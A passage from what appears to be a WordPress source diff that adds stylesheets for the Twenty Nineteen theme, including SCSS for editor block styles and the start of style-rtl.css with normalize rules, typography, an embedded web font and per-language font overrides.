+		font-size: $font__size-xxxl;
+		line-height: 1;
+		font-weight: bold;
+		margin: 0 0.25em 0 0;
+	}
+}
+
+/** === Table === */
+
+.wp-block-table {
+	font-family: $font__heading;
+}
+
+/** === Cover === */
+
+.wp-block-cover {
+
+	h2,
+	.wp-block-cover-text {
+		font-family: $font__heading;
+		font-size: $font__size-lg;
+		font-weight: bold;
+		line-height: 1.4;
+		padding-left: $size__spacing-unit;
+		padding-right: $size__spacing-unit;
+
+		strong {
+			font-weight: bolder;
+		}
+
+		@include media(tablet) {
+			margin-left: auto;
+			margin-right: auto;
+			padding: 0;
+		}
+	}
+
+	@include media(tablet) {
+		padding-left: 10%;
+		padding-right: 10%;
+
+		h2,
+		.wp-block-cover-text {
+			font-size: $font__size-xl;
+		}
+	}
+}
+
+.wp-block[data-type="core/cover"][data-align="left"],
+.wp-block[data-type="core/cover"][data-align="right"] {
+
+	.editor-block-list__block-edit {
+		width: calc(4 * (100vw / 12));
+	}
+
+	.wp-block-cover {
+		width: 100%;
+		max-width: 100%;
+		padding: calc(1.375 * #{$size__spacing-unit});
+
+		p {
+			padding-left: 0;
+			padding-right: 0;
+		}
+
+		@include media(tablet) {
+			padding: calc(2.75 * #{$size__spacing-unit}) calc(2.75 * #{$size__spacing-unit}) calc(3.125 * #{$size__spacing-unit});
+		}
+	}
+}
+
+.wp-block[data-type="core/cover"][data-align="wide"],
+.wp-block[data-type="core/cover"][data-align="full"] {
+
+	@include media(tablet) {
+
+		h2,
+		.wp-block-cover-text {
+			max-width: calc(8 * (100vw / 12));
+		}
+	}
+
+	@include media(desktop) {
+
+		h2,
+		.wp-block-cover-text {
+			max-width: calc(6 * (100vw / 12));
+		}
+	}
+}
+
+.wp-block[data-type="core/cover"][data-align="full"] {
+
+	@include media(tablet) {
+
+		.wp-block-cover {
+			padding-left: calc(10% + 64px);
+			padding-right: calc(10% + 64px);
+		}
+	}
+}
+
+/** === Gallery === */
+
+.wp-block-gallery {
+
+	.blocks-gallery-image figcaption,
+	.blocks-gallery-item figcaption,
+	.gallery-item .gallery-caption {
+		font-size: $font__size-xs;
+		line-height: 1.6;
+	}
+}
+
+/** === Button === */
+
+.wp-block-button {
+
+	.wp-block-button__link {
+		line-height: 1.8;
+		font-family: $font__heading;
+		font-size: $font__size-sm;
+		font-weight: bold;
+	}
+
+	&:not(.is-style-outline) .wp-block-button__link {
+		background: $color__background-button;
+	}
+
+	&:not(.is-style-squared) .wp-block-button__link {
+		border-radius: 5px;
+	}
+
+	&.is-style-outline,
+	&.is-style-outline:hover,
+	&.is-style-outline:focus,
+	&.is-style-outline:active {
+		background: transparent;
+		color: $color__background-button;
+
+		.wp-block-button__link {
+			background: transparent;
+
+			&:not(.has-text-color) {
+				color: $color__background-button;
+			}
+		}
+	}
+}
+
+/** === Blockquote === */
+
+.wp-block-quote {
+
+	&:not(.is-large):not(.is-style-large) {
+		border-left: 2px solid $color__link;
+	}
+
+	&.is-large,
+	&.is-style-large {
+		margin-top: $font__size-xxl;
+		margin-bottom: $font__size-xxl;
+	}
+
+	&.is-large p,
+	&.is-style-large p {
+		font-size: $font__size-lg;
+		line-height: 1.3;
+		margin-bottom: 0.5em;
+		margin-top: 0.5em;
+	}
+
+	cite,
+	footer,
+	.wp-block-quote__citation {
+		font-family: $font__heading;
+		font-size: $font__size-xs;
+		line-height: 1.6;
+		color: $color__text-light;
+	}
+}
+
+/** === Pullquote === */
+
+.wp-block-pullquote {
+	border-color: transparent;
+	border-width: 2px;
+	color: #000;
+
+	blockquote {
+		margin-top: calc(3 * #{ $size__spacing-unit});
+		margin-bottom: calc(3.33 * #{ $size__spacing-unit});
+		hyphens: auto;
+		word-break: break-word;
+	}
+
+	&:not(.is-style-solid-color) .wp-block-pullquote__citation {
+		color: $color__text-light;
+	}
+
+	&.is-style-solid-color {
+
+		blockquote {
+			width: calc(100% - (2 * #{ $size__spacing-unit}));
+			max-width: calc( 100% - (2 * #{ $size__spacing-unit}));
+
+			a,
+			&.has-text-color p,
+			&.has-text-color a {
+				color: inherit;
+			}
+
+			&:not(.has-text-color) {
+				color: $color__background-body;
+			}
+
+			@include media(tablet) {
+				max-width: 80%;
+			}
+		}
+
+		&:not(.has-background-color) {
+			background-color: $color__link;
+		}
+	}
+}
+
+.wp-block[data-type="core/pullquote"],
+.wp-block[data-type="core/pullquote"][data-align="left"],
+.wp-block[data-type="core/pullquote"][data-align="right"] {
+
+	blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+	blockquote > .editor-rich-text p,
+	p {
+		font-size: $font__size-lg;
+		font-style: italic;
+		line-height: 1.3;
+		margin-bottom: 0.5em;
+		margin-top: 0.5em;
+
+		@include media(tablet) {
+			font-size: $font__size-xl;
+		}
+	}
+
+	.wp-block-pullquote__citation {
+		font-family: $font__heading;
+		font-size: $font__size-xs;
+		line-height: 1.6;
+		text-transform: none;
+	}
+
+	em {
+		font-style: normal;
+	}
+}
+
+.wp-block[data-type="core/pullquote"][data-align="left"],
+.wp-block[data-type="core/pullquote"][data-align="right"] {
+
+	.editor-block-list__block-edit {
+		width: calc(4 * (100vw / 12));
+		max-width: 50%;
+
+		.wp-block-pullquote:not(.is-style-solid-color) {
+			padding: 0;
+		}
+
+		.wp-block-pullquote.is-style-solid-color {
+			padding: 1em;
+		}
+	}
+
+	blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+	blockquote > .editor-rich-text p,
+	p,
+	.wp-block-pullquote__citation {
+		text-align: left;
+	}
+}
+
+.wp-block[data-type="core/pullquote"][data-align="full"] {
+
+	@include media(tablet) {
+
+		.wp-block-pullquote blockquote {
+			max-width: calc(80% - 128px);
+		}
+	}
+}
+
+
+/** === File === */
+
+.wp-block-file {
+	font-family: $font__heading;
+
+	.wp-block-file__textlink {
+		text-decoration: underline;
+		color: $color__link;
+
+		&:hover {
+			color: $color__link-hover;
+			text-decoration: none;
+		}
+	}
+
+	.wp-block-file__button {
+		display: table;
+		line-height: 1.8;
+		font-size: $font__size-sm;
+		font-weight: bold;
+		background-color: $color__link;
+		border-radius: 5px;
+	}
+
+	.wp-block-file__button-richtext-wrapper {
+		display: block;
+		margin-top: calc(0.75 * #{$size__spacing-unit});
+		margin-left: 0;
+	}
+
+}
+
+/** === Verse === */
+
+.wp-block-verse,
+.wp-block-verse pre {
+	padding: 0;
+}
+
+/** === Code === */
+
+.wp-block-code {
+	border-radius: 0;
+}
+
+/** === Table === */
+
+.wp-block-table {
+
+	td, th {
+		border-color: $color__text-light;
+	}
+}
+
+/** === Separator === */
+
+.wp-block-separator {
+
+	&:not(.is-style-dots) {
+		border-bottom: 2px solid $color__text-light;
+	}
+
+	&:not(.is-style-wide):not(.is-style-dots) {
+		width: $font__size-xl;
+		margin-left: 0;
+	}
+
+	&.is-style-dots:before {
+		color: $color__text-light;
+		font-size: $font__size-lg;
+		letter-spacing: calc(2 * #{$size__spacing-unit});
+		padding-left: calc(2 * #{$size__spacing-unit});
+	}
+}
+
+/* Remove duplicate rule-line when a separator
+ * is followed by an H1, or H2 */
+.wp-block[data-type="core/separator"] + .wp-block[data-type="core/heading"] h1:before,
+.wp-block[data-type="core/separator"] + .wp-block[data-type="core/heading"] h2:before {
+	display: none;
+}
+
+/** === Latest Posts, Archives, Categories === */
+
+ul.wp-block-archives,
+.wp-block-categories,
+.wp-block-latest-posts {
+	padding: 0;
+	list-style-type: none;
+
+	ul {
+		padding: 0;
+		list-style-type: none;
+	}
+
+	li {
+		color: $color__text-light;
+		font-family: $font__heading;
+		font-size: calc(#{$font__size_base} * #{$font__size-ratio});
+		font-weight: bold;
+		line-height: $font__line-height-heading;
+		padding-bottom: ( .75 * $size__spacing-unit );
+
+		&.menu-item-has-children,
+		&:last-child {
+			padding-bottom: 0;
+		}
+
+		a {
+			text-decoration: none;
+		}
+
+		ul {
+			padding-left: $size__spacing-unit;
+		}
+	}
+}
+
+.wp-block-categories {
+
+	ul {
+		padding-top: ( .75 * $size__spacing-unit );
+		@include nestedSubMenuPadding();
+	}
+
+	li ul {
+		list-style: none;
+		padding-left: 0;
+		margin-bottom: ( -.75 * $size__spacing-unit );
+	}
+
+}
+
+/** === Latest Posts grid view === */
+.wp-block-latest-posts.is-grid {
+		li {
+			border-top: 2px solid $color__border;
+			padding-top: (1 * $size__spacing-unit);
+			margin-bottom: (2 * $size__spacing-unit);
+			a {
+				&:after {
+					content: '';
+				}
+			}
+			&:last-child {
+				margin-bottom: auto;
+				a:after {
+					content: '';
+				}
+			}
+		}
+	}
+
+/** === Latest Comments === */
+
+.wp-block-latest-comments {
+
+	.wp-block-latest-comments__comment-meta {
+		font-family: $font__heading;
+		font-weight: bold;
+
+		.wp-block-latest-comments__comment-date {
+			font-weight: normal;
+		}
+	}
+
+	.wp-block-latest-comments__comment,
+	.wp-block-latest-comments__comment-date,
+	.wp-block-latest-comments__comment-excerpt p {
+		font-size: inherit;
+	}
+
+	.wp-block-latest-comments__comment-date {
+		font-size: $font__size-xs;
+	}
+}
+
+/** === Classic Editor === */
+
+/* Properly center-align captions in the classic-editor block */
+.wp-caption {
+	dd {
+		color: $color__text-light;
+ 		font-size: $font__size-xs;
+ 		font-family: $font__heading;
+ 		line-height: $font__line-height-pre;
+ 		margin: 0;
+ 		padding: ( $size__spacing-unit * .5 );
+ 		text-align: left;
+		text-align: center;
+		-webkit-margin-start: 0px;
+		margin-inline-start: 0px;
+	}
+}
+
+.wp-block-freeform {
+
+	/* Add style for galleries in classic-editor block */
+	blockquote {
+		border-left: 2px solid $color__link;
+
+		cite {
+			font-family: $font__heading;
+			font-size: $font__size-xs;
+			font-style: normal;
+			line-height: 1.6;
+			color: $color__text-light;
+		}
+	}
+}
+
+/* Make sure our non-latin font overrides don't overwrite the iconfont used in the classic editor toolbar */
+.wp-block[data-type="core/freeform"] .mce-btn i {
+	font-family: dashicons !important;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style-rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style-rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style-rtl.css	(revision 56912)
@@ -0,0 +1,4635 @@
+@charset "UTF-8";
+/*
+Theme Name: Twenty Nineteen
+Theme URI: https://github.com/WordPress/twentynineteen
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom styles for all the default blocks, and is built so that what you see in the editor looks like what you'll see on your website. Twenty Nineteen is designed to be adaptable to a wide range of websites, whether you’re running a photo blog, launching a new business, or supporting a non-profit. Featuring ample whitespace and modern sans-serif headlines paired with classic serif body text, it's built to be beautiful on all screen sizes.
+Requires at least: WordPress 4.9.6
+Version: 1.2
+License: GNU General Public License v2 or later
+License URI: LICENSE
+Text Domain: twentynineteen
+Tags: one-column, flexible-header, accessibility-ready, custom-colors, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, rtl-language-support, sticky-post, threaded-comments, translation-ready
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+
+Twenty Nineteen is based on Underscores https://underscores.me/, (C) 2012-2018 Automattic, Inc.
+Underscores is distributed under the terms of the GNU GPL v2 or later.
+
+Normalizing styles have been helped along thanks to the fine work of
+Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/
+*/
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+# Variables
+# Normalize
+# Typography
+	## Headings
+	## Copy
+# Elements
+	## Lists
+	## Tables
+# Forms
+	## Buttons
+	## Fields
+# Navigation
+	## Links
+	## Menus
+	## Next & Previous
+# Accessibility
+# Alignments
+# Clearings
+# Layout
+# Widgets
+# Content
+	## Archives
+	## Posts and pages
+	## Comments
+# Blocks
+# Media
+	## Captions
+	## Galleries
+--------------------------------------------------------------*/
+/*
+ * Chrome renders extra-wide &nbsp; characters for the Hoefler Text font.
+ * This results in a jumping cursor when typing in both the Classic and block
+ * editors. The following font-face override fixes the issue by manually inserting
+ * a custom font that includes just a Hoefler Text space replacement for that
+ * character instead.
+ */
+@font-face {
+  font-family: 'NonBreakingSpaceOverride';
+  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAMoAA0AAAAACDQAAALTAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCahEICjx3CywAATYCJANUBCAFhiEHgWwbXQfILgpsY+rQRRARwyAs6uL7pxzYhxEE+32b3aeHmifR6tklkS9hiZA0ewkqGRJE+H7/+6378ASViK/PGeavqJyOzsceKi1s3BCiQsiOdn1r/RBgIJYEgCUhbm/8/8/h4saPssnTNkkiWUBrTRtjmQSajw3Ui3pZ3LYDPD+XG2C3JA/yKAS8/rU5eNfuGqRf4eNNgV4YAlIIgxglEkWe6FYpq10+wi3g+/nUgvgPFczNrz/RsTgVm/zfbPuHZlsuQECxuyqBcQwKFBjFgKO8AqP4bAN9tFJtnM9xPcbNjeXS/x1wY/xU52f5W/X1+9cnH4YwKIaoRRAkUkj/YlAAeF/624foiIDBgBmgQBeGAyhBljUPZUm/l2dTvmpqcBDUOHdbPZWd8JsBAsGr4w8/EDn82/bUPx4eh0YNrQTBuHO2FjQEAGBwK0DeI37DpQVqdERS4gZBhpeUhWCfLFz7J99aEBgsJCHvUGAdAPp4IADDCAPCEFMGpMZ9AQpTfQtQGhLbGVBZFV8BaqNyP68oTZgHNj3M8kBPfXTTC9t90UuzYhy9ciH0grVlOcqyCytisvbsERsEYztiznR0WCrmTksJwbSNK6fd1Rvr25I9oLvctUoEbNOmXJbqgYgPXEHJ82IUsrCnpkxh23F1rfZ2zcRnJYoXtauB3VTFkFXQg3uoZYD5qE0kdjDtoDoF1h2bulGmev5HbYhbrjtohQSRI4aNOkffIcT+d3v6atpaYh3JvPoQsztCcqvaBkppDSPcQ3bw3KaCBo1f5CJWTZEgW3LjLofYg51MaVezrx8xZitYbQ9KYeoRaqQdVLwSEfrKXLK1otCWOKNdR/YwYAfon5Yk8O2MJfSD10dPGA5PIJJQMkah0ugMJiv6x4Dm7LEa8xnrRGGGLAg4sAlbsA07sAt76DOsXKO3hIjtIlpnnFrt1qW4kh6NhS83P/6HB/fl1SMAAA==) format("woff2"), url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUQAA0AAAAACDQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAE9AAAABwAAAAchf5yU0dERUYAAATYAAAAHAAAAB4AJwAbT1MvMgAAAaAAAABJAAAAYJAcgU5jbWFwAAACIAAAAF4AAAFqUUxBZ2dhc3AAAATQAAAACAAAAAgAAAAQZ2x5ZgAAApAAAAAyAAAAPL0n8y9oZWFkAAABMAAAADAAAAA2Fi93Z2hoZWEAAAFgAAAAHQAAACQOSgWaaG10eAAAAewAAAAzAAAAVC7TAQBsb2NhAAACgAAAABAAAAAsAOQBAm1heHAAAAGAAAAAHQAAACAAWQALbmFtZQAAAsQAAAF6AAADIYvD/Adwb3N0AAAEQAAAAI4AAADsapk2o3jaY2BkYGAA4ov5mwzj+W2+MnCzXwCKMNzgCBSB0LfbQDQ7AxuI4mBgAlEAFKQIRHjaY2BkYGD3+NvCwMDBAALsDAyMDKhAFAA3+wH3AAAAeNpjYGRgYBBl4GBgYgABEMnIABJzAPMZAAVmAGUAAAB42mNgZlJhnMDAysDCKsKygYGBYRqEZtrDYMT4D8gHSmEHjgUFOQwODAqqf9g9/rYwMLB7MNUAhRlBcsxBrMlASoGBEQAj8QtyAAAAeNrjYGBkAAGmWQwMjO8gmBnIZ2NA0ExAzNjAAFYJVn0ASBsD6VAIDZb7AtELAgANIgb9AHjaY2BgYGaAYBkGRgYQSAHyGMF8FgYPIM3HwMHAxMDGoMCwQIFLQV8hXvXP//9AcRCfAcb///h/ygPW+w/vb7olBjUHCTCyMcAFGZmABBO6AogThgZgIUsXAEDcEzcAAHjaY2BgECMCyoEgACZaAed42mNgYmRgYGBnYGNgYAZSDJqMgorCgoqCjECRXwwNrCAKSP5mAAFGBiRgyAAAi/YFBQAAeNqtkc1OwkAUhU/5M25cEhcsZick0AwlBJq6MWwgJkAgYV/KAA2lJeUn+hY+gktXvpKv4dLTMqKycGHsTZNv7px7z50ZAFd4hYHjdw1Ls4EiHjVncIFnzVnc4F1zDkWjrzmPW+NNcwGlzIRKI3fJlUyrEjZQxb3mDH2fNGfRx4vmHKqG0JzHg6E0F9DOlFBGBxUI1GEzLNT4S0aLuTtsGAEUuYcQHkyg3KmIum1bNUvKlrjbbAIleqHHnS4iSudpQcySMYtdFiXlAxzSbAwfMxK6kZoHKhbjjespMTioOPZnzI+4ucCeTVyKMVKLfeAS6vSWaTinuZwzyy/Dc7vaed+6KaV0kukdPUk6yOcctZPvvxxqksq2lEW8RvHjMEO2FCl/zy6p3NEm0R9OFSafJdldc4QVeyaaObMBO0/5cCaa6d9Ggyubxire+lEojscdjoWUR1xGOy8KD8mG2ZLO2l2paDc3A39qmU2z2W5YNv5+u79e6QfGJY/hAAB42m3NywrCMBQE0DupWp/1AYI7/6DEaLQu66Mrd35BKUWKJSlFv1+rue4cGM7shgR981qSon+ZNwUJ8iDgoYU2OvDRRQ99DDDECAHGmGCKmf80hZSx/Kik/LliFbtmN6xmt+yOjdg9GztV4tROnRwX/Bsaaw51nt4Lc7tWaZYHp/MlzKx51LZs5htNri+2AAAAAQAB//8AD3jaY2BkYGDgAWIxIGZiYARCESBmAfMYAAR6AEMAAAABAAAAANXtRbgAAAAA2AhRFAAAAADYCNuG) format("woff");
+}
+
+/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
+ * since its edges can look jagged due to lack of antialiasing. In this case, we are several
+ * layers of box-shadow to add the border visually, which will render the border smoother. */
+/* Fallback for non-latin fonts */
+/* Calculates maximum width for post content */
+/* Nested sub-menu padding: 10 levels deep */
+/* Normalize */
+/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */
+/* Document
+	 ========================================================================== */
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in iOS.
+ */
+html {
+  line-height: 1.15;
+  /* 1 */
+  -webkit-text-size-adjust: 100%;
+  /* 2 */
+}
+
+/* Sections
+	 ========================================================================== */
+/**
+ * Remove the margin in all browsers.
+ */
+body {
+  margin: 0;
+}
+
+/**
+ * Correct the font size and margin on `h1` elements within `section` and
+ * `article` contexts in Chrome, Firefox, and Safari.
+ */
+h1 {
+  font-size: 2em;
+  margin: 0.67em 0;
+}
+
+/* Grouping content
+	 ========================================================================== */
+/**
+ * 1. Add the correct box sizing in Firefox.
+ * 2. Show the overflow in Edge and IE.
+ */
+hr {
+  box-sizing: content-box;
+  /* 1 */
+  height: 0;
+  /* 1 */
+  overflow: visible;
+  /* 2 */
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+pre {
+  font-family: monospace, monospace;
+  /* 1 */
+  font-size: 1em;
+  /* 2 */
+}
+
+/* Text-level semantics
+	 ========================================================================== */
+/**
+ * Remove the gray background on active links in IE 10.
+ */
+a {
+  background-color: transparent;
+}
+
+/**
+ * 1. Remove the bottom border in Chrome 57-
+ * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+ */
+abbr[title] {
+  border-bottom: none;
+  /* 1 */
+  text-decoration: underline;
+  /* 2 */
+  text-decoration: underline dotted;
+  /* 2 */
+}
+
+/**
+ * Add the correct font weight in Chrome, Edge, and Safari.
+ */
+b,
+strong {
+  font-weight: bolder;
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+code,
+kbd,
+samp {
+  font-family: monospace, monospace;
+  /* 1 */
+  font-size: 1em;
+  /* 2 */
+}
+
+/**
+ * Add the correct font size in all browsers.
+ */
+small {
+  font-size: 80%;
+}
+
+/**
+ * Prevent `sub` and `sup` elements from affecting the line height in
+ * all browsers.
+ */
+sub,
+sup {
+  font-size: 75%;
+  line-height: 0;
+  position: relative;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -0.25em;
+}
+
+sup {
+  top: -0.5em;
+}
+
+/* Embedded content
+	 ========================================================================== */
+/**
+ * Remove the border on images inside links in IE 10.
+ */
+img {
+  border-style: none;
+}
+
+/* Forms
+	 ========================================================================== */
+/**
+ * 1. Change the font styles in all browsers.
+ * 2. Remove the margin in Firefox and Safari.
+ */
+button,
+input,
+optgroup,
+select,
+textarea {
+  font-family: inherit;
+  /* 1 */
+  font-size: 100%;
+  /* 1 */
+  line-height: 1.15;
+  /* 1 */
+  margin: 0;
+  /* 2 */
+}
+
+/**
+ * Show the overflow in IE.
+ * 1. Show the overflow in Edge.
+ */
+button,
+input {
+  /* 1 */
+  overflow: visible;
+}
+
+/**
+ * Remove the inheritance of text transform in Edge, Firefox, and IE.
+ * 1. Remove the inheritance of text transform in Firefox.
+ */
+button,
+select {
+  /* 1 */
+  text-transform: none;
+}
+
+/**
+ * Correct the inability to style clickable types in iOS and Safari.
+ */
+button,
+[type="button"],
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button;
+}
+
+/**
+ * Remove the inner border and padding in Firefox.
+ */
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  border-style: none;
+  padding: 0;
+}
+
+/**
+ * Restore the focus styles unset by the previous rule.
+ */
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+  outline: 1px dotted ButtonText;
+}
+
+/**
+ * Correct the padding in Firefox.
+ */
+fieldset {
+  padding: 0.35em 0.75em 0.625em;
+}
+
+/**
+ * 1. Correct the text wrapping in Edge and IE.
+ * 2. Correct the color inheritance from `fieldset` elements in IE.
+ * 3. Remove the padding so developers are not caught out when they zero out
+ *		`fieldset` elements in all browsers.
+ */
+legend {
+  box-sizing: border-box;
+  /* 1 */
+  color: inherit;
+  /* 2 */
+  display: table;
+  /* 1 */
+  max-width: 100%;
+  /* 1 */
+  padding: 0;
+  /* 3 */
+  white-space: normal;
+  /* 1 */
+}
+
+/**
+ * Add the correct vertical alignment in Chrome, Firefox, and Opera.
+ */
+progress {
+  vertical-align: baseline;
+}
+
+/**
+ * Remove the default vertical scrollbar in IE 10+.
+ */
+textarea {
+  overflow: auto;
+}
+
+/**
+ * 1. Add the correct box sizing in IE 10.
+ * 2. Remove the padding in IE 10.
+ */
+[type="checkbox"],
+[type="radio"] {
+  box-sizing: border-box;
+  /* 1 */
+  padding: 0;
+  /* 2 */
+}
+
+/**
+ * Correct the cursor style of increment and decrement buttons in Chrome.
+ */
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+/**
+ * 1. Correct the odd appearance in Chrome and Safari.
+ * 2. Correct the outline style in Safari.
+ */
+[type="search"] {
+  -webkit-appearance: textfield;
+  /* 1 */
+  outline-offset: -2px;
+  /* 2 */
+}
+
+/**
+ * Remove the inner padding in Chrome and Safari on macOS.
+ */
+[type="search"]::-webkit-search-decoration {
+  -webkit-appearance: none;
+}
+
+/**
+ * 1. Correct the inability to style clickable types in iOS and Safari.
+ * 2. Change font properties to `inherit` in Safari.
+ */
+::-webkit-file-upload-button {
+  -webkit-appearance: button;
+  /* 1 */
+  font: inherit;
+  /* 2 */
+}
+
+/* Interactive
+	 ========================================================================== */
+/*
+ * Add the correct display in Edge, IE 10+, and Firefox.
+ */
+details {
+  display: block;
+}
+
+/*
+ * Add the correct display in all browsers.
+ */
+summary {
+  display: list-item;
+}
+
+/* Misc
+	 ========================================================================== */
+/**
+ * Add the correct display in IE 10+.
+ */
+template {
+  display: none;
+}
+
+/**
+ * Add the correct display in IE 10.
+ */
+[hidden] {
+  display: none;
+}
+
+/* Typography */
+html {
+  font-size: 22px;
+}
+
+body {
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+  color: #111;
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: 400;
+  font-size: 1em;
+  line-height: 1.8;
+  margin: 0;
+  text-rendering: optimizeLegibility;
+}
+
+button,
+input,
+select,
+optgroup,
+textarea {
+  color: #111;
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: 400;
+  line-height: 1.8;
+  text-rendering: optimizeLegibility;
+}
+
+.author-description .author-link,
+.comment-metadata,
+.comment-reply-link,
+.comments-title,
+.comment-author .fn,
+.discussion-meta-info,
+.entry-meta,
+.entry-footer,
+.main-navigation,
+.no-comments,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.page-links,
+.page-description,
+.pagination .nav-links,
+.sticky-post,
+.site-title,
+.site-info,
+#cancel-comment-reply-link,
+img:after,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+.main-navigation,
+.page-description,
+.author-description .author-link,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.pagination .nav-links,
+.comments-title,
+.comment-author .fn,
+.no-comments,
+.site-title,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  font-weight: 700;
+  letter-spacing: -0.02em;
+  line-height: 1.2;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+.page-title {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+}
+
+.site-branding,
+.main-navigation ul.main-menu > li,
+.social-navigation,
+.author-description .author-bio,
+.nav-links {
+  line-height: 1.25;
+}
+
+h1 {
+  font-size: 2.25em;
+}
+
+@media only screen and (min-width: 768px) {
+  h1 {
+    font-size: 2.8125em;
+  }
+}
+
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.has-larger-font-size,
+h2 {
+  font-size: 1.6875em;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry-title,
+  .not-found .page-title,
+  .error-404 .page-title,
+  .has-larger-font-size,
+  h2 {
+    font-size: 2.25em;
+  }
+}
+
+.has-regular-font-size,
+.has-large-font-size,
+.comments-title,
+h3 {
+  font-size: 1.6875em;
+}
+
+.site-title,
+.site-description,
+.main-navigation,
+.nav-links,
+.page-title,
+.page-description,
+.comment-author .fn,
+.no-comments,
+h2.author-title,
+p.author-bio,
+h4 {
+  font-size: 1.125em;
+}
+
+.pagination .nav-links,
+.comment-content,
+h5 {
+  font-size: 0.88889em;
+}
+
+.entry-meta,
+.entry-footer,
+.discussion-meta-info,
+.site-info,
+.has-small-font-size,
+.comment-reply-link,
+.comment-metadata,
+.comment-notes,
+.sticky-post,
+#cancel-comment-reply-link,
+img:after,
+h6 {
+  font-size: 0.71111em;
+}
+
+.site-title,
+.page-title {
+  font-weight: normal;
+}
+
+.page-description,
+.page-links a {
+  font-weight: bold;
+}
+
+.site-description {
+  letter-spacing: -0.01em;
+}
+
+.post-navigation .post-title,
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.comments-title,
+blockquote {
+  hyphens: auto;
+  word-break: break-word;
+}
+
+/* Do not hyphenate entry title on tablet view and bigger. */
+@media only screen and (min-width: 768px) {
+  .entry-title {
+    hyphens: none;
+  }
+}
+
+p {
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+dfn,
+cite,
+em,
+i {
+  font-style: italic;
+}
+
+blockquote cite {
+  font-size: 0.71111em;
+  font-style: normal;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+pre {
+  font-size: 0.88889em;
+  font-family: "Courier 10 Pitch", Courier, monospace;
+  line-height: 1.8;
+  overflow: auto;
+}
+
+code,
+kbd,
+tt,
+var {
+  font-size: 0.88889em;
+  font-family: Menlo, monaco, Consolas, Lucida Console, monospace;
+}
+
+abbr, acronym {
+  border-bottom: 1px dotted #666;
+  cursor: help;
+}
+
+mark,
+ins {
+  background: #fff9c0;
+  text-decoration: none;
+}
+
+big {
+  font-size: 125%;
+}
+
+a {
+  text-decoration: none;
+}
+
+a:hover {
+  text-decoration: none;
+}
+
+a:focus {
+  text-decoration: underline;
+}
+
+/* Arabic */
+html[lang="ar"] .site *,
+html[lang="ary"] .site *,
+html[lang="azb"] .site *,
+html[lang="ckb"] .site *,
+html[lang="fa-IR"] .site *,
+html[lang="haz"] .site *,
+html[lang="ps"] .site * {
+  font-family: Tahoma, Arial, sans-serif !important;
+}
+
+/* Cyrillic */
+html[lang="be"] .site *,
+html[lang="bg-BG"] .site *,
+html[lang="kk"] .site *,
+html[lang="mk-MK"] .site *,
+html[lang="mn"] .site *,
+html[lang="ru-RU"] .site *,
+html[lang="sah"] .site *,
+html[lang="sr-RS"] .site *,
+html[lang="tt-RU"] .site *,
+html[lang="uk"] .site * {
+  font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, sans-serif !important;
+}
+
+/* Chinese (Hong Kong) */
+html[lang="zh-HK"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang HK', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (Taiwan) */
